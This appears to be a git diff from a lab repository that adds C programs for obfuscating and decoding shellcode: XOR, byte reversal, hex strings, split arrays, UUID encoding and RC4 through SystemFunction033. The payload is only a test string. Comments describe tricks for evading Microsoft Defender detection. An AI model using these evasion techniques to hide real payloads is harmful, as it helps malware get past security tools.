0x46, 0xcd, 0xf9, 0x9b, 0x72, 0xde, 0xf8, 0xb4, 0x4, 0xb1, 0x7e, 0x76, 0xc7, 0xb3, 0xb1, 0xe9, 0x23, 0x7a, 0xcc, 0xf1, 0x90, 0x49, 0xee, 0xe6, 0x3d, 0x18, 0x84, 0xc0, 0x9e, 0x1a, 0xe3, 0xe4, 0xb8, 0x21, 0x3d, 0xf6, 0xb6, 0x39, 0x85, 0x94, 0x56, 0x6e, 0x12, 0xed, 0xb3, 0x62, 0x51, 0x69, 0x2f, 0x7e, 0xc9, 0xaf, 0xb5, 0x73, 0xa, 0xd3, 0xc1, 0x53, 0xb7, 0x21, 0x87, 0x3, 0x6a, 0x51, 0xde, 0x12, 0xf9, 0x62, 0x31, 0x1f, 0xb2, 0x14, 0x48, 0x75, 0xc8, 0xb2, 0x5c, 0x62, 0x3, 0x29, 0xe4, 0xa4, 0xb9, 0xa0, 0x7a, 0xea, 0x6e, 0x6, 0xf4, 0x53, 0xaf, 0x8d, 0xf3, 0x7a, 0xd5, 0xdf, 0xc9, 0x1e, 0x79, 0x4f, 0x4e, 0xe8, 0x99, 0xcc, 0x75, 0xd4, 0x9, 0x12, 0xc8, 0xff, 0xf1, 0x9b, 0x31, 0xc2, 0x77, 0x89, 0x8f, 0x9b, 0x11, 0x1c, 0xab, 0xd, 0x7b, 0xa8, 0x33, 0xab, 0x9a, 0xc7, 0x57, 0xe, 0xaf, 0x16, 0x68, 0x9a, 0x83, 0x33, 0xff, 0x64, 0x5e, 0xea, 0xb9, 0xcc, 0xcd, 0x77, 0xc1, 0x2f, 0x71, 0x40, 0xcf, 0x4a, 0xdd, 0xe6, 0x5a, 0xe2, 0x40, 0x15, 0xf7, 0x6c, 0xe0, 0x79, 0xc9, 0xd8, 0xc0, 0xab, 0x78, 0x9a, 0xef, 0x62, 0xda, 0x83, 0x3d, 0x62, 0xbc, 0x53, 0xff, 0x92, 0x3a, 0xfd, 0x17, 0xf3, 0x2, 0xd3, 0x91, 0xc6, 0xf, 0x95, 0xb9, 0xd5, 0xd6, 0x6d, 0x42, 0x76, 0x1, 0xad, 0xb1, 0xc9, 0xf1, 0xc1, 0xeb, 0x35, 0xa2, 0x92, 0xb2, 0x8e, 0x71, 0xdb, 0x8a, 0x5c, 0xbd, 0x5c, 0xe6, 0x91, 0x66, 0x18, 0xfe, 0x4d, 0x37, 0x4, 0xc5, 0x6e, 0x9e, 0x1e, 0x73, 0xc9, 0x5c, 0x27, 0x47, 0x74, 0xb0, 0x45, 0xba, 0xf, 0x26, 0x9d, 0xad, 0xa, 0x18, 0xa6, 0xf8, 0x2e, 0x29, 0x56, 0x6, 0xd0, 0xcc, 0x38, 0x66, 0x2d, 0x85, 0x9e, 0xee, 0x27, 0x2, 0xe0, 0x8b, 0x29, 0xb9, 0x94, 0xc9, 0x7, 0xa8, 0x4, 0xf5, 0x5, 0x6c, 0xbf, 0x8b, 0x21, 0xbe, 0x21, 0xa5, 0xec, 0x54, 0x9d, 0xdf}; + */ + // declare a variable for our shellcode size + unsigned int shellcode_size = sizeof(shellcode); + + // create a new struct from our key + key.Buffer = (&_key); + key.Length = 16; + + // create a new struct from the shellcode + _data.Buffer = &shellcode; + _data.Length = shellcode_size; + + //SystemFunction033(&data, &key); + SystemFunction033(&_data, &key); + + int idx = 0; + while ( idx < sizeof(shellcode)) + { + if (idx == (sizeof(shellcode) - 1) ) + { + printf("0x%02x ", shellcode[idx]); + } + else + { + printf("0x%02x, ", shellcode[idx]); + } + idx++; + } + +} diff --git a/lab_results/random_shellcode/reverse_byte_order_work.c b/lab_results/random_shellcode/reverse_byte_order_work.c new file mode 100644 index 0000000..761ddc0 --- /dev/null +++ b/lab_results/random_shellcode/reverse_byte_order_work.c @@ -0,0 +1,38 @@ +#include +#include +#include +#include + + +int main(void) { + + + char reversed_payload [42] = {0x0, 0x32, 0x0, 0x32, 0x0, 0x6f, 0x0, 0x77, 0x0, 0x7a, 0x0, 0x73, 0x0, 0x6e, 0x0, 0x69, 0x0, 0x65, 0x0, 0x6f, 0x0, 0x77, 0x0, 0x7a, 0x0, 0x73, 0x0, 0x6e, 0x0, 0x69, 0x0, 0x65, 0x0, 0x74, 0x0, 0x73, 0x0, 0x65, 0x0, 0x74, 0xfe, 0xff}; + + char shellcode[sizeof(reversed_payload)] = { 0 }; + + // reverse our array of ints + for (int i = 0; i < sizeof(reversed_payload); i++) + { + printf(""); // defender fires an alert on this routine without this ¯\_(ツ)_/¯ + shellcode[i] = reversed_payload[sizeof(reversed_payload) - i - 1]; + } + + int idx = 0; + while ( idx < sizeof(reversed_payload)) + { + if (idx == (sizeof(reversed_payload) - 1) ) + { + printf("0x%02x ", (unsigned char)shellcode[idx]); + } + else + { + printf("0x%02x, ", (unsigned char)shellcode[idx]); + } + idx++; + } + + + return 0; +} + diff --git a/lab_results/random_shellcode/reverse_hex_string_work.c b/lab_results/random_shellcode/reverse_hex_string_work.c new file mode 100644 index 0000000..5db33f7 --- /dev/null +++ b/lab_results/random_shellcode/reverse_hex_string_work.c @@ -0,0 +1,49 @@ +#include +#include +#include +#include + + +int main(void) { + + + char reversed_hex_string[] = "0x0,23x0,0x0,23x0,0x0,f6x0,0x0,77x0,0x0,a7x0,0x0,37x0,0x0,e6x0,0x0,96x0,0x0,56x0,0x0,f6x0,0x0,77x0,0x0,a7x0,0x0,37x0,0x0,e6x0,0x0,96x0,0x0,56x0,0x0,47x0,0x0,37x0,0x0,56x0,0x0,47x0,efx0,ffx0"; +unsigned int shellcode_len = 42; + + + // reverse the string + char* hex_string = _strrev(reversed_hex_string); + printf("Reversed hex string: %s\n", hex_string); + + // declare a new shellcode byte array + char shellcode[sizeof(reversed_hex_string)] = { 0 }; + + // define an index to keep track of where we're at + int idx = 0; + int count = 0; + const int MAX_TOKENS = sizeof(reversed_hex_string); + char* next_token = NULL; + char* token = strtok_s(hex_string, ",", &next_token); + while (token != NULL && count < MAX_TOKENS) { + shellcode[count++] = strtol(token, NULL, 16); + token = strtok_s(NULL, ",", &next_token); + } + + idx = 0; + while ( idx < shellcode_len) + { + if (idx == (shellcode_len - 1) ) + { + printf("0x%02x ", (unsigned char)shellcode[idx]); + } + else + { + printf("0x%02x, ", (unsigned char)shellcode[idx]); + } + idx++; + } + + return 0; + +} + diff --git a/lab_results/random_shellcode/twoarray_work.c b/lab_results/random_shellcode/twoarray_work.c new file mode 100644 index 0000000..104f328 --- /dev/null +++ b/lab_results/random_shellcode/twoarray_work.c @@ -0,0 +1,56 @@ +#include +#include + + +int main(void) +{ + + + #define PAYLOAD_SIZE 42 +char evens[21] = {0xff, 0x74, 0x65, 0x73, 0x74, 0x65, 0x69, 0x6e, 0x73, 0x7a, 0x77, 0x6f, 0x65, 0x69, 0x6e, 0x73, 0x7a, 0x77, 0x6f, 0x32, 0x32}; +char odds[21] = {0xfe, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}; + + + char shellcode[PAYLOAD_SIZE] = { 0x00 }; + int twoArrIdx = 0; + int idx = 0; + + while (idx < PAYLOAD_SIZE) + { + // read from the even array + shellcode[idx] = evens[twoArrIdx]; + + // odds will be one byte less than evens if PAYLOAD_SIZE is odd + if ( twoArrIdx == (int)sizeof(odds) ) + { + // do nothing, otherwise we'll read past the end of our array + } + else + { + // read from odd array + shellcode[idx+1] = odds[twoArrIdx]; + + // increment twoArrIdx to move to the next position in the evens and odds arrays + twoArrIdx++; + } + + // we've just added two bytes, so we need to shift two positions instead of one + idx = idx + 2; + } + + idx = 0; + while ( idx < PAYLOAD_SIZE) + { + if (idx == (PAYLOAD_SIZE - 1)) + { + printf("0x%02x ", (unsigned char)shellcode[idx]); + } + else + { + printf("0x%02x, ", (unsigned char)shellcode[idx]); + } + idx++; + } + + return 0; +} diff --git a/lab_results/random_shellcode/uuidapi_work.c b/lab_results/random_shellcode/uuidapi_work.c new file mode 100644 index 0000000..9955be8 --- /dev/null +++ b/lab_results/random_shellcode/uuidapi_work.c @@ -0,0 +1,61 @@ +#include +#include +#include +#pragma comment(lib, "Rpcrt4.lib") + + +struct ustring { + DWORD Length; + DWORD MaximumLength; + PUCHAR Buffer; +} _data, key; + + +int main(void) +{ + + char * UUIDs[] = { + "0074feff-0065-0073-7400-650069006e00", + "007a0073-0077-006f-6500-69006e007300", + "0077007a-006f-0032-3200-909090909090" + }; + + // get the size of our shellcode stored as UUIDs + unsigned int shellcode_size = (unsigned int)sizeof(UUIDs) * 2; + + // Declare a buffer for storing our shellcode + void * buffer = VirtualAlloc(NULL, shellcode_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + + // This keeps track of our current position in the allocated buffer + void * bufferBaseAddress = NULL; + + // This keeps track of how many bytes we've written into the buffer + int i = 0; + + // Loop through our list of UUIDs and use UuidFromStringA to convert and load into memory + for (int count = 0; count < sizeof(UUIDs) / sizeof(UUIDs[0]); count++) { + bufferBaseAddress = ((ULONG_PTR)buffer + i); + RPC_STATUS status = UuidFromStringA((RPC_CSTR)UUIDs[count], bufferBaseAddress); + i += 16; + } + + // create a new struct from the buffer we allocated + _data.Buffer = buffer; + _data.Length = shellcode_size; + + int idx = 0; + while ( idx < _data.Length) + { + if (idx == (shellcode_size - 1) ) + { + printf("0x%02x ", _data.Buffer[idx]); + } + else + { + printf("0x%02x, ", _data.Buffer[idx]); + } + idx++; + } + + +} diff --git a/lab_results/random_shellcode/xor_multibyte_work.c b/lab_results/random_shellcode/xor_multibyte_work.c new file mode 100644 index 0000000..d33a632 --- /dev/null +++ b/lab_results/random_shellcode/xor_multibyte_work.c @@ -0,0 +1,53 @@ +#include +#include + + +void XOR(char * ciphertext, size_t ciphertext_len, char * key, size_t key_len) { + // Defender will detect this function + // Somehow, opening the null device and closing it again is enough to avoid detection + FILE* outfile = fopen("nul", "w"); + + int myByte = 0; + int k_minus_one = key_len - 1; + for (int idx = 0; idx < ciphertext_len; idx++) { + if (myByte == k_minus_one) + { + myByte = 0; + } + + ciphertext[idx] = ciphertext[idx] ^ key[myByte]; + myByte++; + + } + // Close our decoy + fclose(outfile); +} + + +int main(void) +{ + + char shellcode[42] = {0xa7,0xb1,0x26,0x4b,0x20,0x59,0x2b,0x4f,0x26,0x4b,0x20,0x59,0x31,0x4f,0x3c,0x4b,0x36,0x59,0x22,0x4f,0x25,0x4b,0x2a,0x59,0x3d,0x4f,0x3b,0x4b,0x2b,0x59,0x2b,0x4f,0x28,0x4b,0x32,0x59,0x37,0x4f,0x60,0x4b,0x77,0x59}; + char xorkey[] = "XORKEY"; + + + // XOR our shellcode with the key to decode it + XOR((char *) shellcode, sizeof(shellcode), xorkey, sizeof(xorkey)); + + int idx = 0; + while ( idx < sizeof(shellcode)) + { + if (idx == (sizeof(shellcode) - 1) ) + { + printf("0x%02x ", (unsigned char)shellcode[idx]); + } + else + { + printf("0x%02x, ", (unsigned char)shellcode[idx]); + } + idx++; + } + + + return 0; +} diff --git a/lab_results/random_shellcode/xor_reverse_work.c b/lab_results/random_shellcode/xor_reverse_work.c new file mode 100644 index 0000000..cfefeb9 --- /dev/null +++ b/lab_results/random_shellcode/xor_reverse_work.c @@ -0,0 +1,39 @@ +#include +#include +#include +#include + + +int main(void) +{ + + + unsigned char reversed_payload [42] = {0x17, 0x25, 0x17, 0x25, 0x17, 0x78, 0x17, 0x60, 0x17, 0x6d, 0x17, 0x64, 0x17, 0x79, 0x17, 0x7e, 0x17, 0x72, 0x17, 0x78, 0x17, 0x60, 0x17, 0x6d, 0x17, 0x64, 0x17, 0x79, 0x17, 0x7e, 0x17, 0x72, 0x17, 0x63, 0x17, 0x64, 0x17, 0x72, 0x17, 0x63, 0xe9, 0xe8}; + + char shellcode[sizeof(reversed_payload)] = {0}; + unsigned int len = sizeof(reversed_payload); + int xorkey = 23; + + // reverse and de-xor our array of ints + for (int i = 0; i < len; i++) + { + char decoded = reversed_payload[len - i - 1] ^ xorkey; + shellcode[i] = decoded; + } + + int idx = 0; + while (idx < sizeof(reversed_payload)) + { + if (idx == (sizeof(reversed_payload) - 1)) + { + printf("0x%02x ", (unsigned char)shellcode[idx]); + } + else + { + printf("0x%02x, ", (unsigned char)shellcode[idx]); + } + idx++; + } + + return 0; +} diff --git a/lab_results/random_shellcode/xor_single_work.c b/lab_results/random_shellcode/xor_single_work.c new file mode 100644 index 0000000..c8304e9 --- /dev/null +++ b/lab_results/random_shellcode/xor_single_work.c @@ -0,0 +1,33 @@ +#include +#include + + +int main(void) +{ + + unsigned int xorkey = 23; +unsigned char shellcode[42] = {232, 233, 99, 23, 114, 23, 100, 23, 99, 23, 114, 23, 126, 23, 121, 23, 100, 23, 109, 23, 96, 23, 120, 23, 114, 23, 126, 23, 121, 23, 100, 23, 109, 23, 96, 23, 120, 23, 37, 23, 37, 23}; + + // XOR each byte of our shellcode with the key to decode it + for (int idx = 0; idx < sizeof(shellcode); idx++) { + shellcode[idx] = shellcode[idx] ^ xorkey; + } + + int idx = 0; + while ( idx < sizeof(shellcode)) + { + if (idx == (sizeof(shellcode) - 1) ) + { + printf("0x%02x ", (unsigned char)shellcode[idx]); + } + else + { + printf("0x%02x, ", (unsigned char)shellcode[idx]); + } + idx++; + } + + + return 0; +} +